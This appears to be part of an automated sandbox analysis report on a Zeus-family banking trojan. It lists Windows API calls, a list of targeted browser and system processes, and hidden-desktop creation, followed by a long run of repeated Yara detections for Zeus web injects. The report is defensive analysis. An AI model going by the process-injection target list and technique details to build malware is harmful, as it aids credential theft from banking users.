Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe8_2_00E867D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetCommandLineA,StrStrIA,memset,#680,LoadLibraryExA,GetProcAddress,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,strstr,strstr,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree, \iexplore.exe8_2_00E81660
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex8_2_00E737E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex8_2_00E737E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex8_2_00E737E0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D09360 CreateDesktopA,SetThreadDesktop,memset,SHGetFolderPathA,PathAppendA,CreateProcessA,GetShellWindow,GetShellWindow,Sleep,Sleep,GetShellWindow,GetHandleInformation,CloseHandle,GetHandleInformation,CloseHandle,GetDesktopWindow,FindWindowA,RegisterWindowMessageA,CreateThread,GetHandleInformation,CloseHandle,SetThreadDesktop,memset,SHGetFolderPathA,PathAppendA,CreateProcessA,GetShellWindow,GetShellWindow,Sleep,Sleep,GetShellWindow,GetHandleInformation,GetHandleInformation,CloseHandle,GetHandleInformation,CloseHandle,GetDesktopWindow,FindWindowA,CreateThread,GetHandleInformation,CloseHandle,SetEvent,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,2_2_02D09360

System Summary

barindex
Malicious sample detected (through community Yara rule)
Source: 19.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1452000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.38.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.18.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 12.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.14b0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 38.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2900000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2915c00.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2d63c00.6.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.22.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.39.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.10.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 8.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.c52000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.roundwood.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 19.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.14b0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 23.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2922000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.roundwood.exe.6bff18.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.roundwood.exe.6bf318.0.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.14.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2915c00.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 27.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2da0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.21.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 15.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.960000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 38.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2900000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.28c2000.4.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 27.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.29f2000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.21.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.36.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.12.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 25.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.8e2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.39.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.31.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2dc0000.43.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2dc0000.44.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2dc0000.44.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 31.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.25d0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3c20000.9.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.22.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.36.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2970000.6.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.17.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 8.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.e70000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.20.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.14.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 29.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2922000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 29.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2d00000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.roundwood.exe.6ba318.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.17.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.27.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.25.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.roundwood.exe.407000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.28c2000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.roundwood.exe.407000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 5.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.dd2000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.13.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2d00000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.28c2000.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2970000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3c20000.9.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.24.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 34.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2950000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2c90000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.roundwood.exe.6ba318.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 5.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.e30000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.23.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.28.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.40.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.88e000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 12.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.14b0000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 4.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.12e0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.35.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 12.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1412000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.32.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 15.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.902000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.893000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.37.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 34.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2950000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 4.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1242000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 15.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.902000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.11.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.33.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.24.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.25.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 31.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2412000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.893000.0.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.32.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.18.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2d00000.5.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.16.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 8.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.c52000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.28.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 27.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2da0000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.19.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 34.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.27f2000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.88e000.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 21.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2b32000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.roundwood.exe.406400.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.40.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3c20000.8.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.20.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.13.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 21.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2cd0000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 21.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2b32000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 38.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2762000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.893000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2d63c00.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.27.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.38.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.29.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 23.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2ac0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 27.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.29f2000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.30.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2dc0000.43.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 25.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2650000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.28c2000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.29.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.407000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.34.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2c90000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 23.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2ac0000.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.3a40000.37.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.88e000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 19.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1452000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
